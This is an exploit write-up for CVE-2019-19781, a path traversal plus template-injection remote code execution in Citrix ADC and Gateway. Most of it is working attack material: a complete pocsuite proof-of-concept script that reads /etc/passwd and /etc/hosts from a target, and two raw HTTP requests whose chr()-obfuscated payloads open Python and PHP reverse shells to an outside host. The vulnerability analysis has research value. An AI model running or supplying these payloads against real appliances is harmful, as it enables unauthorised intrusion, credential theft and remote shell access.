CVE-2019-19781 Citrix Application DC & Citrix Gateway RCE
Analysis
Two steps:
- Use path traversal request
newbm.pl
to write to xml file (1sh HTTP request). - Template toolkit load and parse the xml file(2nd Request).
Path Traversal
In the published payload, you can see that the problem is under the vpns
folder. We were able to find useful information
in the http.conf
file:
1
2
3
4
5
6
7
8
9
10
11
12
13
Alias /vpns/portal/scripts/ /netscaler/portal/scripts/
...
PerlSetEnv portalLoc /vpns/portal/
PerlSetEnv PortalRoot /netscaler/
PerlRequire /netscaler/portal/utils/startup.pl
PerlModule NetScaler::Portal::Handler
<Location /vpns/portal/>
SetHandler perl-script
PerlResponseHandler NetScaler::Portal::Handler
PerlSendHeader On
</Location>
In the payload you can find the http post request header:
1
2
NSC\_NONCE: nsroot
NSC\_USER: ../../../netscaler/portal/templates/12603aaf
We find NSC_USER
int the /netscaler/portal/modules/NetScaler/Portal/UserPrefs.pm
We can see that the username comes from the NSC_USER field in the http request and is spliced into the filename. So we can specify any file under vpns.This code is encapsulated in a csd function, and all code that calls this method will have problems.
1
2
3
4
5
6
my $username = Encode::decode('utf8', $ENV{'HTTP_NSC_USER'}) || errorpage("Missing NSC_USER header.");
$self->{username} = $username;
...
$self->{session} = %session;
$self->{filename} = NetScaler::Portal::Config::c->{bookmark_dir} . Encode::encode('utf8', $username) . '.xml';
I found two points.
handler.pm:
1
2
3
4
$r->no\_cache(1);
my $user = NetScaler::Portal::UserPrefs->new();
my $doc = $user->csd();
newbm.pl:
1
2
3
my $cgi = new CGI;
my $user = NetScaler::Portal::UserPrefs->new();
my $doc = $user->csd();
Further found that you can write files in newbm.pl.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
my $doc = $user->csd();
#disallow get requests to make it difficult to launch XSRF attacks
if ($ENV{'REQUEST\_METHOD'} ne 'POST') {
my $msg = "Access Denied";
print "Location: " . $ENV{portalLoc} . "error.html?$msg\n\n";
exit;
}
my $newurl = Encode::decode('utf8', $cgi->param('url'));
my $newtitle = Encode::decode('utf8', $cgi->param('title'));
my $newdesc = Encode::decode('utf8', $cgi->param('desc'));
my $UI\_inuse = Encode::decode('utf8', $cgi->param('UI\_inuse'));
...
$user->filewrite($doc);
The generated file is as follows.
1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="UTF-8"?>
<user username="../../../netscaler/portal/templates/2d13335a">
<bookmarks>
<bookmark UI\_inuse="" descr="[% template.new('BLOCK' = 'print `cat /etc/passwd`') %]" title="2d13335a" url="http://example.com" />
</bookmarks>
<escbk>
</escbk>
<filesystems></filesystems>
<style></style>
</user>
Template Process the xml
Citrix uses Template Toolkit
to parse templates.The second request for /vpn/../vpns/portal/youfilename.xml
,
this operation will be handled by the Handler module.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
my $tmplfile = $r->path\_info();
$tmplfile =~ s[^/][];
my $template = Template->new({INCLUDE\_PATH => NetScaler::Portal::Config::c->{template\_dir},CACHE\_SIZE => 64, COMPILE\_DIR=> NetScaler::Portal::Config::c->{template\_compile\_dir}, COMPILE\_EXT => '.ttc2'});
if ($tmplfile =~/.\*\.css$/){
$r->send\_http\_header('text/css');
} else {
$r->send\_http\_header('text/html');
}
$template->process($tmplfile, $doc) || do {
my $error = $template->error();
my $lcError = lc($error);
if ( $error->type() eq "file" && $lcError =~ /^file error/ && $lcError =~ /.not found$/ ) {
return NOT\_FOUND;
}
print NetScaler::Pcsd ortal::UserPrefs::html\_escape\_string($error), "\n";
};
Template Toolkit can eval perl without EVAL_PERL.
Re-Appear
Download: https://www.citrix.com/downloads/citrix-gateway/product-software/citrix-gateway-13-0-build-36-27.html
Install in VMware:
You need to configure the IpAddress GetWay & Mask. You can Login the virtual machine use ssh tool(nsrecover/nsroot).
PoC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#!/usr/bin/python
# -\*- coding: utf-8 -\*-
# Time : 2020/1/10 10:28
# Author : William Jones
# File : poc2.py
# Email : [[email protected]](/cdn-cgi/l/email-protection)
# copyright: (c) 2020 by William Jones.
# license: Apache2, see LICENSE for more details.
# description: Life is Fantastic.
import urlparse
from pocsuite.api.poc import POCBase
from pocsuite.api.poc import register
from pocsuite.api.poc import Output
from pocsuite.api.request import req
from pocsuite.api.utils import randomStr
class TestPOC(POCBase):
vulID = 'CVE-2019-19781'
version = ''
author = ''
vulDate = '2020-01-10'
createDate = '2020-01-10'
updateDate = '2020-01-10'
references = [
"https://cert.360.cn/warning/detail?id=acd3738e106ab653ab2c27a93427eb67"
]
name = ''
appPowerLink = ''
appName = ''
appVersion = '''
'''
vulType = ''
desc = '''
'''
samples = [ ]
install\_requires = ""
def \_attack(self):
return self.\_verify()
def \_verify(self):
result = {}
self.raw\_url = self.url
host = urlparse.urlparse(self.url).hostname
port = urlparse.urlparse(self.url).port
scheme = urlparse.urlparse(self.url).scheme
if port is None:
port = "443"
else:
port = str(port)
if "https" == scheme:
self.url = "%s://%s" % (scheme, host)
else:
self.url = "%s://%s:%s" % (scheme, host, port)
command = 'cat /etc/passwd'
res = self.run\_cmd(command=command)
if "root:\*:0:0" in res:
result["VerifyInfo"] = {}
result["VerifyInfo"]["url"] = self.url
result["VerifyInfo"]["passwd"] = res
result["VerifyInfo"]["hosts"] = self.run\_cmd("cat /etc/hosts")
return self.parse\_output(result)
def run\_cmd(self, command):
filename = randomStr(10)
return self.port\_req(self.url, filename, command)
def port\_req(self, url, filename, cmd):
newbm\_url = url + '/vpn/../vpns/portal/scripts/newbm.pl'
headers = {
"Connection": "close",
"NSC\_USER": "../../../netscaler/portal/templates/%s" % filename,
"NSC\_NONCE": "nsroot"
}
payload = "url=http://example.com&title=" + filename + "&desc=[% template.new('BLOCK' = 'print `" + cmd + "`') %]"
try:
r = req.post(url=newbm\_url, headers=headers, data=payload, verify=False, allow\_redirects=False)
except Exception as e:
return None
if r.status\_code == 200 and 'parent.window.ns\_reload' in r.content:
return self.get\_res(url, filename)
else:
return None
def get\_res(self, url, filename):
xml\_url = url + '/vpn/../vpns/portal/%s.xml' % filename
headers = {
"NSC\_USER": "nsroot",
"NSC\_NONCE": "nsroot"
}
res = None
try:
r = req.get(xml\_url, headers=headers, verify=False)
except Exception as e:
return res
if r.status\_code == 200:
res = r.content.split("u")[0]
return res
def parse\_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('Internet nothing returned')
return output
register(TestPOC)
The result
Get Shell
Use Python
1
2
3
4
5
6
7
8
9
10
11
12
POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1
Host: 192.168.81.168
Connection: close
Accept-Encoding: gzip, deflate
Accept: \*/\*
User-Agent: python-requests/2.21.0
NSC\_NONCE: nsroot
NSC\_USER: ../../../netscaler/portal/templates/shellcode
Content-Length: 2693
url=http://example.com&title=12603aaf&desc=[% template.new({'BLOCK'='print readpipe(chr(47) . chr(118) . chr(97) . chr(114) . chr(47) . chr(112) . chr(121) . chr(116) . chr(104) . chr(111) . chr(110) . chr(47) . chr(98) . chr(105) . chr(110) . chr(47) . chr(112) . chr(121) . chr(116) . chr(104) . chr(111) . chr(110) . chr(32) . chr(45) . chr(99) . chr(32) . chr(39) . chr(105) . chr(109) . chr(112) . chr(111) . chr(114) . chr(116) . chr(32) . chr(115) . chr(111) . chr(99) . chr(107) . chr(101) . chr(116) . chr(44) . chr(115) . chr(117) . chr(98) . chr(112) . chr(114) . chr(111) . chr(99) . chr(101) . chr(115) . chr(115) . chr(44) . chr(111) . chr(115) . chr(59) . chr(115) . chr(61) . chr(115) . chr(111) . chr(99) . chr(107) . chr(101) . chr(116) . chr(46) . chr(115) . chr(111) . chr(99) . chr(107) . chr(101) . chr(116) . chr(40) . chr(115) . chr(111) . chr(99) . chr(107) . chr(101) . chr(116) . chr(46) . chr(65) . chr(70) . chr(95) . chr(73) . chr(78) . chr(69) . chr(84) . chr(44) . chr(10) . chr(115) . chr(111) . chr(99) . chr(107) . chr(101) . chr(116) . chr(46) . chr(83) . chr(79) . chr(67) . chr(75) . chr(95) . chr(83) . chr(84) . chr(82) . chr(69) . chr(65) . chr(77) . chr(41) . chr(59) . chr(115) . chr(46) . chr(99) . chr(111) . chr(110) . chr(110) . chr(101) . chr(99) . chr(116) . chr(40) . chr(40) . chr(34) . chr(49) . chr(57) . chr(50) . chr(46) . chr(49) . chr(54) . chr(56) . chr(46) . chr(56) . chr(49) . chr(46) . chr(49) . chr(54) . chr(55) . chr(34) . chr(44) . chr(49) . chr(48) . chr(48) . chr(56) . chr(57) . chr(41) . chr(41) . chr(59) . chr(111) . chr(115) . chr(46) . chr(100) . chr(117) . chr(112) . chr(50) . chr(40) . chr(115) . chr(46) . chr(102) . chr(105) . chr(108) . chr(101) . chr(110) . chr(111) . chr(40) . chr(41) . chr(44) . chr(48) . chr(41) . chr(59) . chr(32) . chr(111) . chr(115) . chr(46) . chr(100) . chr(117) . chr(112) . chr(50) . chr(40) . chr(115) . chr(46) . chr(102) . chr(105) . chr(108) . chr(101) . chr(110) . chr(111) . chr(40) . chr(41) . chr(44) . chr(49) . chr(41) . chr(59) . chr(32) . chr(111) . chr(115) . chr(46) . chr(100) . chr(117) . chr(112) . chr(50) . chr(40) . chr(115) . chr(46) . chr(102) . chr(105) . chr(108) . chr(101) . chr(110) . chr(111) . chr(40) . chr(41) . chr(44) . chr(10) . chr(50) . chr(41) . chr(59) . chr(112) . chr(61) . chr(115) . chr(117) . chr(98) . chr(112) . chr(114) . chr(111) . chr(99) . chr(101) . chr(115) . chr(115) . chr(46) . chr(99) . chr(97) . chr(108) . chr(108) . chr(40) . chr(91) . chr(34) . chr(47) . chr(98) . chr(105) . chr(110) . chr(47) . chr(115) . chr(104) . chr(34) . chr(44) . chr(34) . chr(45) . chr(105) . chr(34) . chr(93) . chr(41) . chr(59) . chr(39))'})%]
Use PHP
1
2
3
4
5
6
7
8
9
10
11
12
POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1
Host: 192.168.81.168
Connection: close
Accept-Encoding: gzip, deflate
Accept: \*/\*
User-Agent: python-requests/2.21.0
NSC\_NONCE: nsroot
NSC\_USER: ../../../netscaler/portal/templates/phpcode
Content-Length: 930
url=http://example.com&title=12603aaf&desc=[% template.new({'BLOCK'='print readpipe(chr(112) . chr(104) . chr(112) . chr(32) . chr(45) . chr(114) . chr(32) . chr(39) . chr(36) . chr(115) . chr(111) . chr(99) . chr(107) . chr(61) . chr(102) . chr(115) . chr(111) . chr(99) . chr(107) . chr(111) . chr(112) . chr(101) . chr(110) . chr(40) . chr(34) . chr(49) . chr(57) . chr(50) . chr(46) . chr(49) . chr(54) . chr(56) . chr(46) . chr(56) . chr(49) . chr(46) . chr(49) . chr(54) . chr(55) . chr(34) . chr(44) . chr(32) . chr(49) . chr(48) . chr(48) . chr(56) . chr(57) . chr(41) . chr(59) . chr(101) . chr(120) . chr(101) . chr(99) . chr(40) . chr(34) . chr(47) . chr(98) . chr(105) . chr(110) . chr(47) . chr(115) . chr(104) . chr(32) . chr(45) . chr(105) . chr(32) . chr(60) . chr(38) . chr(51) . chr(32) . chr(62) . chr(38) . chr(51) . chr(32) . chr(50) . chr(62) . chr(38) . chr(51) . chr(34) . chr(41) . chr(59) . chr(39))'})%]
Reference
[1] http://www.template-toolkit.org/
[2] https://perl.apache.org/docs/2.0/user/handlers/http.html
[3] https://www.linkedin.com/pulse/cve-2019-19781-patrick-coble/?published=t
[4] https://www.mdsec.co.uk/2020/01/deep-dive-to-citrix-adc-remote-code-execution-cve-2019-19781
[5] https://www.tripwire.com/state-of-security/vert/citrix-netscaler-cve-2019-19781-what-you-need-to-know
[6] https://github.com/abw/Template2/blob/master/lib/Template/Service.pm
[7] https://docs.citrix.com/en-us/citrix-hardware-platforms/sdx/initial-configuration.html